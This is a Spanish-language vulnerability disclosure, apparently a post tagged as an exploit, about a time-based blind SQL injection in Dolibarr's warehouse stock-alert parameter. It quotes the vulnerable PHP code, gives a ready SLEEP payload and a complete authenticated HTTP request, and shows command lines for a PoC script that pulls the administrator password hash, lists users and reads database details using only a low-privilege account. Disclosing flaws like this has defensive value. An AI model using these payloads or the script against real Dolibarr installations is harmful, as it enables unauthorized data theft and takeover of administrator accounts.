
La acción responsable de establecer el umbral de alerta de stock por almacén (`seuil_stock_alerte`) acepta entrada controlada por el usuario y posteriormente la incorpora en una consulta SQL sin la conversión numérica ni el enlace de parámetros adecuados. #dolibarr #exploit
Inyección SQL que afecta a la funcionalidad de gestión de stock de productos a través del
parámetro seuil_stock_alerte.
Probado y confirmado en:
seuil_stock_alerte
El parámetro es aceptado por:
/product/stock/product.php
utilizando la acción addlimitstockwarehouse.
El parámetro se recupera sin conversión numérica:
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
Posteriormente llega a una sentencia SQL mediante concatenación directa de cadenas:
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
Debido a que el valor se inserta en un contexto numérico sin comillas, se puede proporcionar una expresión SQL en lugar de un valor numérico normal.
Una expresión booleana/basada en tiempo es suficiente para demostrar la ejecución:
(SELECT IF((1=1),SLEEP(15),0))
Ejemplo de parámetro:
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Una solicitud exitosa produce un retraso en la respuesta HTTP de aproximadamente 15 segundos, lo que confirma la evaluación de la expresión SQL inyectada.
La acción vulnerable puede alcanzarse con una solicitud autenticada similar a:
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Requisitos:
El problema se reprodujo con una cuenta autenticada que solo tenía:
Product → Create (produit/creer)
permiso — una cuenta de bajo privilegio que puede crear productos.
La inyección SQL permite:
Las restricciones a nivel de base de datos en este sistema impidieron la ejecución directa de comandos del sistema operativo.
El script PoC adjunto stock_sqli_poc.py automatiza el proceso de explotación:
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
| Opción | Predeterminado | Descripción |
|---|---|---|
--url | http://127.0.0.1:8088 | URL de la instancia Dolibarr objetivo |
--proxy | http://127.0.0.1:8080 | Proxy HTTP (Burp, etc.). Establecer como cadena vacía para deshabilitar |
--login | webeditor | Nombre de usuario para la cuenta de bajo privilegio |
--password | WebEdit0r! | Contraseña de la cuenta |
--product-id | 1 | ID del producto objetivo |
--warehouse-id | 1 | ID del almacén objetivo |
--delay | 1.0 | Duración de SLEEP en segundos para la detección basada en tiempo |
--extract | (SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1) | Expresión SQL a exfiltrar |
--length | 14 | Longitud máxima de caracteres a extraer |
Extraer el hash de la contraseña de administrador:
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
Enumerar usuarios:
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
Versión de la base de datos:
--extract "VERSION()"
Usuario actual de la base de datos:
--extract "USER()"
⚠️ Aviso legal: Utilice este exploit únicamente contra sistemas para los que tenga autorización escrita explícita. El acceso no autorizado a sistemas informáticos es ilegal. Este PoC se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.